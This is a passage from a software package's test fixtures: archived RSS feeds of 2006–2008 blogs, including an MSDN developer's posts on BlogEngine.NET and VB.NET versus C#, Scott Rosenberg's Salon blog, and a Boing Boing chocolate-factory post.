provider. You can still use XML files if you don't want to use a database. </p> <p><strong>Drag 'n drop widgets</strong> <br />Widgets are the pieces of content most often located at the sidebar. It could be a list of recent posts, latest tweets from Twitter or anything else. You can drag and drop the widgets around in your sidebar and modify the content of them directly on the front-page. The widget works independently of the theme you are using as long as it is implemented in the theme. In BlogEngine.NET it is implemented in the <em>Standard</em> and <em>Indigo</em> themes and many more themes with widgets will be available for download very soon at the <a href="http://dotnetblogengine.net">BlogEngine.NET website</a>. </p> <p><strong>Extension settings</strong> <br />The new settings model for extensions have been upgraded to give you a much better experience using third-party extensions. For extension developers, it has never been easier to store your settings and let the user change them from the admin section. The same settings model is used by the widgets as well. </p> <p><strong>Web 3.0 improvements</strong> <br />BlogEngine.NET 1.4 makes full use of many semantic formats and technologies such as FOAF, SIOC and APML. It means that the content stored in your BlogEngine.NET installation will be fully portable and auto-discoverable. It is possible to filter the RSS feeds based on the visitor's interest defined in her APML file or do a site search with it as well. Read more the <a href="http://blog.madskristensen.dk/post/Filter-search-and-feeds-by-your-interests.aspx">APML filtering in BlogEngine.NET</a>. </p> <p>&#160;<strong>Author profiles</strong> <br />By utilizing the ASP.NET profile provider it is now possible to let all authors maintain their own profile. This is used in the FOAF document and widget/extension developers can take full advantage of the profiles to provide new exciting visualizations and functionality. </p> <p><strong>Other new features</strong> </p> <p>&#160;</p> <ul> <li>Tag selector when adding new posts </li> <li>Subcategories </li> <li>Password encryption </li> <li>Improved live comment preview </li> <li>Hierarchical pages in the control panel </li> <li>Smarter comment spam protection </li> <li>Link collection widget </li> <li>Various performance improvements </li> <li>and much more... </li> </ul> <p>Check it out at <a title="http://dotnetblogengine.net/" href="http://dotnetblogengine.net/">http://dotnetblogengine.net/</a></p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8701940" width="1" height="1">How I got started in programming.http://blogs.msdn.com/joestagner/archive/2008/07/03/how-i-got-started-in-programming.aspxThu, 03 Jul 2008 13:59:08 GMT91d46819-8472-40ad-a661-2c78acb4018c:8684248JoeStagner1http://blogs.msdn.com/joestagner/comments/8684248.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8684248http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8684248<p><a href="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/HowIgotstartedinprogramming_8C08/JoeStagUK_2.gif"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="JoeStagUK" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/HowIgotstartedinprogramming_8C08/JoeStagUK_thumb.gif" width="154" height="154" /></a> </p> <p>Well, <a href="http://encosia.com/2008/07/01/how-i-got-started-in-software-development/">Dave Ward</a> tagged me in <a href="http://www.michaeleatonconsulting.com/blog/archive/2008/06/04/how-did-you-get-started-in-software-development.aspx">Michael Eaton&#8217;s software development meme</a> that&#8217;s been going around. </p> <p>As far as blog-chain-letters go, this is a great one. It&#8217;s interesting to see how many diverse backgrounds lead us in the same direction. </p> <h5>How old were you when you started programming?</h5> <p>13 (33 years ago as of this writing.) </p> <h5>How did you get started in programming?</h5> <p>In 1974, there were no personal computers. My school got a very basic &quot;programmable&quot; calculator. It was about 8 times this size of today's laptop computers, had the equivalent of 8 16Bit registers and a collection of math operations. This was my introduction to programming and I was hooked. </p> <p>Shortly after a business that my father was involved in purchased a NC programmable lathe that folks were having some trouble figuring out how to &quot;program&quot; and it because my summer job. Programs were stored on punched tape. </p> <p>Then in 1979 I got my hands on a MITS Altair 8800 CP/M Computer. Then I bought a used <a href="http://en.wikipedia.org/wiki/Osborne_1">Osborne 1</a>, follow by a <a href="http://www.old-computers.com/museum/computer.asp?c=610">Televideo TS-802</a> (a real work horse for it's day) and then a <a href="http://oldcomputers.net/kayproii.html">Kaypro II &quot;Portable&quot;.</a>&#160; </p> <p>Just after turning 18 I was off to Grumman Data Systems institute to learn business programming. </p> <h5>What was your first language?</h5> <p>My REAL first programming languages were proprietary machine dialects, but I started programming on the CP/M machines in Basic and Assembly at the same time. (Both of which I hated.) </p> <p>I quickly switched. I got my hands on a copy of dBase II and did lots of application programming in that. Also, back in those days the &quot;programming community&quot; was largely underground, and a buddy hooked me up with a bootleg copy of PL/1 for CP/M. Once I was able to get it converted from the 8&quot; floppy that it arrived on to a 5 1/4&quot; inch floppy that my TS-802 could read I was off and running and hooked on PL/1. </p> <p>I used PL/1 for many years and even did some IBM Mainframe PL/1 after my adult software career progressed. </p> <h5>What was the first real program you wrote?</h5> <p>I suppose it depends on what you call a &quot;real program&quot;. The NC algorithms were &quot;real&quot;. </p> <p>The first &quot;application&quot; that I wrote was a Customer Management application written in dBase II for a local Travel Agency. The cool part was that, in addition to keeping a database and including a reporting module, it drove a model and did synchronization with the airlines &quot;Sabre&quot; system by modem (at 300 baud)! </p> <h5>What languages have you used since?</h5> <p>Wow, lets see if I can make a list. </p> <p>Assembly, Basic, PL/1, Cobol, Fortran, Algol, APL,&#160; JCL, &quot;B&quot;&quot;C&quot;, Pascal, Gorlan (Gordon's Language) , LISP, ADA, Modula-2, Modula-3, Oberon, Logo, Forth, Rebol, RPG, Smalltalk, Haskel, Snobol, Java, Perl, Prolog, Postscript, JavaScript, TCL,&#160; J++, &quot;C++&quot;, Delphi, Objective-C, PHP, Python, C#, Visual Basic, Ruby </p> <p>Oh my ! </p> <p>My favorites ???&#160; PL/1, Pascal, ADA, Delphi, Visual Basic, C# </p> <h5>What was your first professional programming gig?</h5> <p>I did a bunch of little summer stuff before my first FULL TIME job. </p> <p>My first full time gig was with Honeywell Information Systems on their international logistics systems. Big GCOS Mainframes, working in many different programming languages but mostly COBOL and huge IDB hierarchical databases (relational databases hadn't caught on yet.) </p> <h5>If you knew then what you know now?</h5> <p>Duh !&#160; I would have gone to Cambridge MA and hung around Harvard until I convinced Bill Gates to drop out and start a company with me :) !!!!!! </p> <h5>What is the one thing you would tell new developers?</h5> <p>Technical details are just technical details. If you want to build a great career, use technology to solve big BUSINESS problems. </p> <h5>What&#8217;s the most fun you&#8217;ve ever had &#8230; programming?</h5> <p>I spent a year or two working on investigative systems for federal law enforcement agencies. It's STILL the most interesting stuff I ever saw. (And it was mostly written in Clipper ! - But I was rewriting it in VB and Delphi) </p> <h5>Whew. Is that over yet?</h5> <p>Well, that&#8217;s how I got started. Thanks for tagging me, Dave. </p> <p>Now I gotta go write some code !!</p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8684248" width="1" height="1">Aggiorno - Improving the web one tag at a time.http://blogs.msdn.com/joestagner/archive/2008/07/01/aggiorno-improving-the-web-one-tag-at-a-time.aspxTue, 01 Jul 2008 12:21:18 GMT91d46819-8472-40ad-a661-2c78acb4018c:8676710JoeStagner0http://blogs.msdn.com/joestagner/comments/8676710.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8676710http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8676710<p><a href="http://www.aggiorno.com/"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="aggiorno-badge" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/AggiornoImprovingthewebonetagatatime_74E3/aggiorno-badge_3.png" width="244" height="121" /></a> </p> <p>That's there motto anyway. </p> <p>It's actually a very interesting product from my friends at ArtinSoft.</p> <ul> <li>Add Alternate Text To Image </li> <li>Assign Tab Index </li> <li>Convert Text To XHTML List </li> <li>Convert Text To XHTML Paragraphs </li> <li>Extract And Merge Inline Style </li> <li>Fix Deprecated Elements For XHTML Compliance </li> <li>Replace CENTER Tag By Inline CSS </li> <li>Replace FONT Tag By Inline CSS </li> <li>Update Deprecated Attributes </li> <li>Update Other Deprecated Tags </li> <li>Fix Syntax Errors For XHTML Compliance </li> <li>Fixed Malformed Entities </li> <li>Replace Characters With Entities </li> <li>Make Tags Lowercase </li> <li>Make Attributes Values Quoted </li> <li>Use Default Attribute Values </li> <li>Fix Tag Structure For XHTML Compliance </li> </ul> <p>Aggiorno is an extension to Visual Studio 2005 and 2008. Find out more about Aggiorno <a href="http://www.aggiorno.com/what-is-aggiorno.aspx">here</a></p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8676710" width="1" height="1">I'm with the Thirsty Developerhttp://blogs.msdn.com/joestagner/archive/2008/06/27/i-m-with-the-thirsty-developer.aspxFri, 27 Jun 2008 17:16:32 GMT91d46819-8472-40ad-a661-2c78acb4018c:8662225JoeStagner0http://blogs.msdn.com/joestagner/comments/8662225.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8662225http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8662225<p><a href="http://thirstydeveloper.com/" target="_blank"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="thirstydeveloper" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/ImwiththeThirstyDeveloper_BA49/thirstydeveloper_3.jpg" width="203" height="135" /></a></p> <p>While in Chicago to speak at <a href="http://tek.phparch.com/" target="_blank">PHP | Tek</a>, I got to do a Podcast (in a bar) with on of the <a href="http://thirstydeveloper.com/" target="_blank">The Thirsty Developers</a></p> <p>I hope you will [ <a href="http://thirstydeveloper.com/2008/06/27/TheThirstyDeveloper25TheOneWithJoeStagner.aspx" target="_blank">CLICK HERE</a> ] and listen !</p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8662225" width="1" height="1">The Everlasting Question - Should I choose VB.NET of C#http://blogs.msdn.com/joestagner/archive/2008/06/27/the-everlasting-question-should-i-choose-vb-net-of-c.aspxFri, 27 Jun 2008 12:47:19 GMT91d46819-8472-40ad-a661-2c78acb4018c:8661533JoeStagner1http://blogs.msdn.com/joestagner/comments/8661533.aspxhttp://blogs.msdn.com/joestagner/commentrss.aspx?PostID=8661533http://blogs.msdn.com/joestagner/rsscomments.aspx?PostID=8661533<p><a href="http://telerikwatch.com/2008/04/survey-says-c-more-popular-than-vb.html"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" border="0" alt="csVsVbChart" src="http://blogs.msdn.com/blogfiles/joestagner/WindowsLiveWriter/TheEverlastingQuestionShouldIchoo.NETofC_7B11/csVsVbChart_3.png" width="244" height="129" /></a> </p> <p>I got an email last night from Eduardo.</p> <p>Eduardo &quot;Love's VB.NET&quot;, but is concerned about his long term career prospects because he keeps hearing about C#.</p> <p>The Pie Chart from the Telerik Survey suggests that C# has surpassed VB.NET as the .NET language of choice. For the record, I don't think this accurately reflects the division. I would guess that it's more like 55% VB.NET and 45% C#.</p> <p>People ask me all the time why I choose VB.NET instead of C# for <a href="http://www.asp.net/learn">my videos</a>. The truthful answer is, I don't. I use VB because <a href="http://weblogs.asp.net/scottgu">ScottGu</a> asked me to use VB.NET.</p> <p>At first, I was a bit queased out :) - I first started programming in &quot;C&quot; in 1978 and C++ in abut 1988-1989. So languages of &quot;C&quot; flavor like Java and C# are just familiar to me. </p> <p>It took me about a week before I was I stopped thinking about the syntax I was coding in. </p> <p><strong>I just don't think the choice between C# and VB.NET really matters. </strong></p> <p>The one statistic that does matter is that companies seem to be paying C# developers more than they want to pay VB.NET developers. I suspect that this statistic, like most, is irrelevant if taken on face value alone. </p> <p>It's possible, even probable that the C# programmers they hire have more of a systems programming background in C++ or an enterprise development background in Java so that C# is the syntax flavor of choice, but that flavor choice is a byproduct of their skill set and it is that skill set that earns them more money. </p> <p>If a company pays C# developers more than VB.NET developers for no other reason than syntax choice, I'd probably choose to work for another company as I prefer to work for really smart folks :) </p> <p>I'd be surprised if anyone could suggest a business application to me that REQUIRED it be written in one language over another (at least for non-business reasons.) </p> <p>To me, the choice between VB.NET and C# seems a much less significant one than the industry seems to want to make it. It's a stylistic choice. A philosophical choice. Even an artistic choice. But not really a NECESSARY choice. </p> <p>Sure, TO ME, C# code &quot;looks better&quot;. And FOR ME, coding in VB.NET is a bit faster. Since I'm happy to switch back and forth, I lean toward building class heavy back ends in C# and front side stuff in VB.NET (though not always).</p> <p>The power is in the .NET framework and in the productivity of Visual Studio. Does that make VB.NET and C# just the duck tape that ties them together ? :) </p> <p>Below are some links to articles that discuss the VB.NET versus C# issue.</p> <p>In the mean time, Eduardo, write great applications in which ever language best suits you and let those applications be the strength in your resume. Not the syntax flavor they are written in. </p> <hr /> <p>Murray &quot;Flash&quot; Gordon has a great VB and C# Comparison on his blog [ <a href="http://geekswithblogs.net/murraybgordon/archive/2005/09/30/55626.aspx" target="_blank">Click HERE</a> ] </p> <p>Wikipedia also has some good information. [ <a href="http://en.wikipedia.org/wiki/Comparison_of_C_sharp_and_Visual_Basic_.NET" target="_blank">Click HERE</a> ] </p> <p>Nigel Shaw has a good article at The Code Project with some sound conclusions. [ <a href="http://www.codeproject.com/KB/dotnet/CSharpVersusVB.aspx" target="_blank">Click HERE</a> ] </p> <p>Jeff Atwood at Coding Horror also has a good post. [ <a href="http://www.codinghorror.com/blog/archives/000128.html" target="_blank">Click HERE</a> ]</p> <p>The Pie Chart above is from the Telerik Survey [ <a href="http://telerikwatch.com/2008/04/survey-says-c-more-popular-than-vb.html">Click HERE</a> ]</p><img src="http://blogs.msdn.com/aggbug.aspx?PostID=8661533" width="1" height="1">Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-blogs.salon.com-0000014-rss.xml0000664000175000017500000005131412653701626026122 0ustar janjan Scott Rosenberg's Links & Comment http://blogs.salon.com/0000014/ News of Salon, Salon blogs, and the world en-us Copyright 2006 Scott Rosenberg Thu, 27 Jul 2006 01:03:41 GMT http://backend.userland.com/rss Radio UserLand v8.2.1 scottr@salon.com scottr@salon.com rssUpdates 60 A reminder http://blogs.salon.com/0000014/2006/07/26.html#a1071 I've stopped blogging here. The blogging, it is now happening at <a href="http://www.wordyard.com">Wordyard.</a> The new feed, for those who like RSS, is <a href="http://www.wordyard.com/feed/">here.</a> If you haven't followed me over there, in the past few days you've missed my posts on <a href="http://www.wordyard.com/2006/07/26/outliners/">outliners,</a> Jay Rosen's <a href="http://www.wordyard.com/2006/07/25/newassignment/">NewAssignment.Net,</a> and more.... http://blogs.salon.com/0000014/2006/07/26.html#a1071 Thu, 27 Jul 2006 01:03:41 GMT http://rcs.salon.com/rcsComments/comments?u=14&amp;p=1071&amp;link=http%3A%2F%2Fblogs.salon.com%2F0000014%2F2006%2F07%2F26.html%23a1071 The moving van has left http://blogs.salon.com/0000014/2006/07/21.html#a1070 Reminder... this isn't where I'm blogging any more.</p> <p>So, for instance, if you want to read what I have to say about the new Pew blogging study, you'll have to go <a href="http://www.wordyard.com/2006/07/21/pew-study/">over here</a>, to <a href="http://www.wordyard.com">Wordyard.</a></p> <p>The <a href="http://www.wordyard.com/feed/">new RSS feed is right here.</a> http://blogs.salon.com/0000014/2006/07/21.html#a1070 Fri, 21 Jul 2006 19:56:37 GMT http://rcs.salon.com/rcsComments/comments?u=14&amp;p=1070&amp;link=http%3A%2F%2Fblogs.salon.com%2F0000014%2F2006%2F07%2F21.html%23a1070 One blog ends, another begins http://blogs.salon.com/0000014/2006/07/20.html#a1069 <b>This blog is <a href="http://www.wordyard.com">moving.</a></b> Almost exactly four years ago, on July 22, 2002, I started <a href="http://blogs.salon.com/0000014/">my first blog</a>. Blogging felt natural to me since I'd been writing for the Web since 1994 and self-publishing since 1974 (originally via mimeograph). My blog was part of a larger blogging program I'd put together at Salon, in partnership with Userland. It was the tech-downturn doldrums -- an era when every time we at Salon opened the papers or fired up our browsers we knew that someone, somewhere, would be predicting our imminent demise. And there wasn't a lot of extra cash at the company at the time, so the blogs program was chiefly a labor of love, launched in the wee hours. I did the CSS, wrangling Salon's home-page design into Radio Userland templates, all by myself (which anyone who knows anything about CSS can probably tell with a single glance at the unruly code). I loved Radio Userland at the time for the way it combined a blog publishing system and an RSS reader. But times change; Userland put its energy into other products; Salon Blogs produced many great blogs but not a substantial change in Salon's business; and my blog settled down from the program's focal point to a personal-publishing bullhorn. Several months ago, in anticipation of Salon's plan to build a new platform for users to contribute their own writing, we closed off new signups to the old Salon Blogs platform. Today I'm moving my own blog to a new home, <a href="http://www.wordyard.com">here, at Wordyard</a>. I've managed to export my whole four years' worth of archives (over 1000 posts, averaging about one per weekday for the whole timespan) to Wordpress. (For those who care, I used the Radio Userland exporter, which pops out a plaintext file in Movable Type export format; edited that file to make things like titles and categories work; then imported into Wordpress.) The comments, alas, will remain back at the original Salon Blogs location, where they will continue to be available. With this move, I plan to blog somewhat more vigorously, and to provide more posts about my forthcoming book, <a href="http://www.dreamingincode.com">Dreaming in Code</a>, as its January 2007 publish date nears. I also look forward to leveraging some of the great features and plugins created by the Wordpress open-source community. If you subscribe to my RSS feed in <a href="http://www.bloglines.com">Bloglines</a> (the reader I've been using daily for years), the transition should be transparent -- Bloglines will do the flip for you, you don't need to touch anything. If you subscribe through other feed readers or services, you'll have to resubscribe to the new feed address, which is <a href="http://wordyard.com/feed/">here</a>. More anon! http://blogs.salon.com/0000014/2006/07/20.html#a1069 Thu, 20 Jul 2006 16:06:59 GMT Personal Salon Salon Blogs http://rcs.salon.com/rcsComments/comments?u=14&amp;p=1069&amp;link=http%3A%2F%2Fblogs.salon.com%2F0000014%2F2006%2F07%2F20.html%23a1069 Stem cells: Bush's shameful first veto? http://blogs.salon.com/0000014/2006/07/19.html#a1068 President Bush appears poised for the first veto of his presidency. The cause that has finally pushed him to reject Congressional legislation? An attempt to expand funding for stem cell research that Bush hobbled back in 2001. For millions of Americans, the potential fruits of stem cell research -- in the form of cures to dangerous diseases -- are a serious matter with grave personal import. For President Bush, the issue has always served as a political football. On the one hand, Bush argues that the destruction of human embryos (microscopic organisms made up of a few cells) is a kind of killing. His press spokesman, Tony Snow, adopting the supercharged cant of anti-abortion activists, <a href="http://www.salon.com/politics/war_room/2006/07/18/bush_stem_cells/index.html">referred to it recently as "murder."</a> In order to stop such "murder," Bush agreed in 2001 to limit all federal funding of stem cell research to a handful of pre-existing "lines" of cells -- cells that had been created specifically for research. His argument was, let's not use tax dollars to pay for the destruction of more embryos for the sake of research. Here is why Bush's position is a joke: <i>Thousands and thousands of embryos are destroyed every year in fertility clinics.</i> They are created in petri dishes as part of fertility treatments like IVF; then they are discarded. If Bush and his administration truly believe that destroying an embryo is a kind of murder, they shouldn't be wasting their time arguing about research funding: They should immediately shut down every fertility clinic in the country, arrest the doctors and staff who operate them, and charge all the wannabe parents who have been wantonly slaughtering legions of the unborn. But of course they'll never do such a thing. (Nor, to be absolutely clear, do I think they should.) Bush could not care less about this issue except as far as it helps burnish his pro-life credentials among his "base." This has been true since the first airing of Bush's position in 2001, <a href="http://archive.salon.com/politics/feature/2001/08/10/stem_cell/index.html">as I said back then</a>. So he finds a purely symbolic way of taking a stand, but won't follow the logic of his position to the place where it might cause him any political harm -- as opposing the family-building dreams of millions of middle-class Americans would doubtless do. (And please don't test our credulity with the laughable "Go ahead and do the research, but let's not spend taxpayers' money on things they don't believe in" argument: If that had any bearing, my tax dollars would not be funding a war that 2/3 of the country opposes now that the specious arguments used to launch it have collapsed.) If Bush believes destroying embryos is murder, let him take a real stand against it. If he doesn't, he shouldn't make it harder for the thousands of embryos that are being discarded anyway to be used for a valuable purpose that could improve real lives. That's why Bush's stem cell position isn't Solomonic -- it's craven. His upcoming veto is an act not of moral leadership but of hypocrisy. And the cost of this hypocrisy, assuming Congress can't muster the votes for an override, will be borne by everyone who dreams of new cures for awful illnesses. http://blogs.salon.com/0000014/2006/07/19.html#a1068 Wed, 19 Jul 2006 14:49:04 GMT Politics http://rcs.salon.com/rcsComments/comments?u=14&amp;p=1068&amp;link=http%3A%2F%2Fblogs.salon.com%2F0000014%2F2006%2F07%2F19.html%23a1068 Sonic middle age: Everybody's happy nowadays http://blogs.salon.com/0000014/2006/07/13.html#a1067 I'm knocked out, stunned, by the new Sonic Youth album, <i>Rather Ripped.</i> I'm not one of the band's cultists. Over the years, from the mid-'80s on, I'd hear, from friends who were, that I was missing out: They'd tell me that whatever their latest album was -- "Daydream Nation"! "Goo"! -- it was <i>the</i> album that would persuade me to join their ranks. I'd listen, feel respect for the legendary New York art-noise band's work, but never feel like coming back for more.</p> <p>So I've been out of the Sonic Youth orbit for a while. Maybe I missed some transformation or evolution; "Rather Ripped" is incredibly seductive -- just melodic enough to engage you, just experimental enough to keep you hitting "repeat." The guitars shimmer with lanky Lou Reed/Feelies lines; the lyrics are <i>entirely audible</i>; the incredibly tight rhythm section could do this in their sleep, but they're wide awake. There is a fundamental joy working its way out in this music, in a fully audible way. I am hooked.</p> <p>In other musical events, <a href="http://www.mountain-goats.com/">the Mountain Goats</a> are slated to release a <a href="http://www.beggars.com/us/themountaingoats/">new album</a>, <i>Get Lonely,</i> next month. But if you are impatient, there is an <a href="http://www.4ad.com/releases/babylon-springs-ep-0/">EP from their Australian tour</a> titled <i>Babylon Springs</i> that is also a fine piece of work. If some of the chord sequences sound a tad familiar, the full-band arrangements are sparkling, the lyrics sharp, the feelings painfully intense. <!-- ckey="5DA439DC" --> http://blogs.salon.com/0000014/2006/07/13.html#a1067 Fri, 14 Jul 2006 03:15:18 GMT Culture http://rcs.salon.com/rcsComments/comments?u=14&amp;p=1067&amp;link=http%3A%2F%2Fblogs.salon.com%2F0000014%2F2006%2F07%2F13.html%23a1067 Mashup Camp 2 http://blogs.salon.com/0000014/2006/07/13.html#a1066 Yesterday I spent the day at <a href="http://www.mashupcamp.com">Mashup Camp 2</a>. I missed the first one last winter, but what I read intrigued me enough to make a point of showing up when it came around again.</p> <p>The two relevant things here, one having to do with mashups, the other with that word "camp," which is really a proxy for the whole "unconference" movement of which this event is a high-profile example in the tech world. (Mashup Camp organizer <a href="http://blogs.zdnet.com/BTL/?p=2621">David Berlind wrote about the first event's experience with the format</a> back in February.) Let's start with that.</p> <p>When I showed up at 9 a.m. down in Mountain View, at the <a href="http://www.computerhistory.org/">Computer History Museum</a>, the conference had no schedule -- just an open grid on an eight-foot-long pad at the front of the meeting hall. An hour later, several dozen developers (and some "API providers," a k a vendors or company reps) had introduced themselves, proposed sessions, posted the sessions on the grid, and presto, there it was, a conference schedule.</p> <p><img src="http://static.flickr.com/57/188905512_e14d78a77b_m.jpg" alt="Mashup Camp instant schedule grid" /></p> <p>There had been no arguments over process, no disputes, no grandstanding or boring throat-clearing. Part of that was the result of deft moderation by <a href="http://www.kaliyasblogs.net/Iwoman/">Kaliya Hamlin</a> (she writes about the event <a href="http://kaliyasblogs.net/unconference/?p=36">here</a>); part, no doubt, was the nature of the attendees -- this was primarily an engineering conclave, after all. If we'd been talking about Iraq, something tells me the process might have been bumpier.</p> <p>In the pop culture world, "mashup" means creating a new work by combining elements of two (or more) existing works. (Danger Mouse's <a href="http://www.illegal-art.org/audio/grey.html">"Grey Album"</a> -- the Beatles' White Album meets Jay-Z's Black Album -- is probably the highest-profile example in music to date.) In software, a mashup is a new program or service created by wiring up two or more existing programs or services.</p> <p>Web-services mashups can be remarkably easy to hack together and provide immediately gratifying results -- the canonical example was the <a href="http://www.housingmaps.com/">Craigslist/GoogleMaps mashup</a> that Paul Rademacher made last year, placing the Craigslist for-rent ads on Google's map service. At Mashup Camp, developers got the opportunity to show off their projects during a "Speed Geeking" event (modeled on speed dating) at which visitors in groups of a half-dozen wandered from table to table to hear five-minute demos. Here's a <a href="http://wiki.mashupcamp.com/index.php/SpeedGeeking2">full list</a> of the participating demo-ers.</p> <p>I didn't come away with the sense that any one of the projects I saw was going to change the universe. But put it all together and you got a window onto a simpler, faster, and perhaps smarter approach to software product development -- one that trades in the virtue of from-the-ground-up consistency and thoroughness for the even more compelling virtue of "getting something working fast." It's software development as a Darwinian ocean in which large numbers of small projects are launched into the water. Only a handful will make it to land. But most of them required so little investment that the casualty rate is nothing to lose sleep over. http://blogs.salon.com/0000014/2006/07/13.html#a1066 Thu, 13 Jul 2006 21:09:11 GMT Technology http://rcs.salon.com/rcsComments/comments?u=14&amp;p=1066&amp;link=http%3A%2F%2Fblogs.salon.com%2F0000014%2F2006%2F07%2F13.html%23a1066 http://blogs.salon.com/0000014/2006/07/12.html#a1065 Today I'm at <a href="http://www.mashupcamp.com/">Mashup Camp 2.</a> Posting to follow as wireless allows. <!-- ckey="4E0A103B" --> http://blogs.salon.com/0000014/2006/07/12.html#a1065 Wed, 12 Jul 2006 16:31:39 GMT Personal Technology http://rcs.salon.com/rcsComments/comments?u=14&amp;p=1065&amp;link=http%3A%2F%2Fblogs.salon.com%2F0000014%2F2006%2F07%2F12.html%23a1065 Fallows, PIMs and Chandler http://blogs.salon.com/0000014/2006/07/11.html#a1064 <a href="http://www.jamesfallows.com/">James Fallows</a> has been writing thoughtfully about computer software for longer than most of us have been using it. Years ago he wrote a definitive paean (long online <a href="http://www.yclipse.com/fallows.htm">here</a> but apparently no longer) to <a href="http://en.wikipedia.org/wiki/Lotus_Agenda">Lotus Agenda</a>, Mitch Kapor's legendary personal information manager. (I say "a" rather than "the" because this program evoked such loyalty from smart writers it actually ended up with <i>two</i> definitive paeans; the <a href="http://guterman.com/guterman_clips/guterman_clips_Agenda/guterman_clips_agenda.html">other</a> was by Jimmy Guterman.)</p> <p>In the new issue of the Atlantic, Fallows writes about two latter-day PIMs -- Microsoft's OneNote and <a href="http://chandler.osafoundation.org">Chandler</a>, the long-gestating project of Kapor's Open Source Applications Foundation, the tale of which forms the central narrative of my book, <i>Dreaming in Code.</i> He interviewed me for the article; though most of our conversation wound up on the cutting-room floor, I did make it into one paragraph. I wish the article were online (there's a <a href="http://www.theatlantic.com/doc/200607/mind-meld">stub here</a>, but the full piece is only accessible to subscribers). But I couldn't ask for a better venue for my first distant-early-warning book publicity. Here's the relevant graph:</p> <table><tr><td width="60">&nbsp;</td><td> Despite substantial follow-up grants from foundations and universities, the team developing Chandler has so far released only a partly functional calendar application. Scott Rosenberg, of Salon magazine, became an "embedded journalist" on the Chandler project from 2003 to 2005 in order to investigate why good software is so hard to make. (His book about Chandler and complex software design, Dreaming in Code, will be published in November [now, January]). "It is taking a long time, but anyone who writes off Chandler is being short-sighted," he told me. "They are on a quest." </td></tr></table> <p>Fallows asked me whether I thought the book had turned out to be a comedy or a tragedy.</p> <p>"Neither," I replied, thinking furiously on my feet, my brain flashing back to my decade as a theater and movie critic. "It's an epic!" http://blogs.salon.com/0000014/2006/07/11.html#a1064 Wed, 12 Jul 2006 02:35:19 GMT Media Personal Technology http://rcs.salon.com/rcsComments/comments?u=14&amp;p=1064&amp;link=http%3A%2F%2Fblogs.salon.com%2F0000014%2F2006%2F07%2F11.html%23a1064 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-boingboing.net-rss.xml0000664000175000017500000040276512653701626025236 0ustar janjan Boing Boinghttp://www.boingboing.net/enTue, 22 Jul 2008 03:09:54 -0500Movable Type Publishing Platform 4.01 http://www.sixapart.com/movabletype/18399http://www.feedburner.comThis is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site.BBtv - TCHO Chocolate, part 2: magical machines, mysterious molecules.http://feeds.feedburner.com/~r/boingboing/iBag/~3/342561606/bbtv-tcho-chocolate.htmlScienceVideomakerXeni JardinTue, 22 Jul 2008 03:09:54 -0500tag:www.boingboing.net,2008://1.48137

    Today on Boing Boing tv, Xeni and Pesco dive deeper into the magical chocolate factory founded by a NASA software developer.

    In this installment of BBtv's 3-part series on TCHO Chocolate, we learn more about the hacked-together, home-tinkered machines and high-tech wizardry that keep the factory running. The philosophy is "scrappy, not crappy," as founder Timothy Childs explains.

    TCHO's R&D lab contains such diverse components as Space Shuttle tape, a modded RONCO turkey oven, stone grinders used in Indian restaurants, and deconstructed space heater parts from the local hardware store.

    Next, we zoom in to the molecular-level science behind this most delicious confection. Science buffs, rejoice! This episode is as fun for your eyes and brain as the "obsessively good" chocolate is for your mouth -- Polymorph fun for the whole family. Warning: this episode is NSFC (not safe for chocoholics).

    Link to Boing Boing tv post with viewer discussion, downloadable video, and instructions on how to get BBtv video through subscription tools like iTunes or Miro every day.

    Previously on Boing Boing tv:

  • TCHO, part 1: chocolate origins.

    Related: read a feature about TCHO by David Pescovitz in the current issue of MAKE Magazine, Timothy and the Chocolate Factory.

    Here are some iPhone snapshots from Xeni on Flickr: TCHO, Boing Boing tv.


    (Special thanks to Amy Critchett, and Wayne & Breanna)

    ]]> Today on Boing Boing tv, Xeni and Pesco dive deeper into the magical chocolate factory founded by a NASA software developer. In this installment of BBtv's 3-part series on TCHO Chocolate, we learn more about the hacked-together, home-tinkered machines and high-tech wizardry that keep the factory running. The philosophy is "scrappy, not crappy," as founder Timothy Childs explains. TCHO's R&D lab contains such diverse components as Space Shuttle tape, a modded RONCO turkey oven, stone grinders used in Indian restaurants, and deconstructed space heater parts from the local hardware store. Next, we zoom in to the molecular-level science behind this most delicious confection. Science buffs, rejoice! This episode is as fun for your eyes and brain as the "obsessively good" chocolate is for your mouth -- Polymorph fun for the whole family. Warning: this episode is NSFC (not safe for chocoholics). Link to Boing Boing tv post with viewer discussion, downloadable video, and instructions on how to get BBtv video through subscription tools like iTunes or Miro every day. Previously on Boing Boing tv:TCHO, part 1: chocolate origins. Related: read a feature about TCHO by David Pescovitz in the current issue of MAKE Magazine, Timothy and the Chocolate Factory. Here are some iPhone snapshots from Xeni on Flickr: TCHO, Boing Boing tv. (Special thanks to Amy Critchett, and Wayne & Breanna)...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=c6ef8e19db454354b19f1deec1a224e6" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=c6ef8e19db454354b19f1deec1a224e6" style="display: none;" border="0" height="1" width="1" 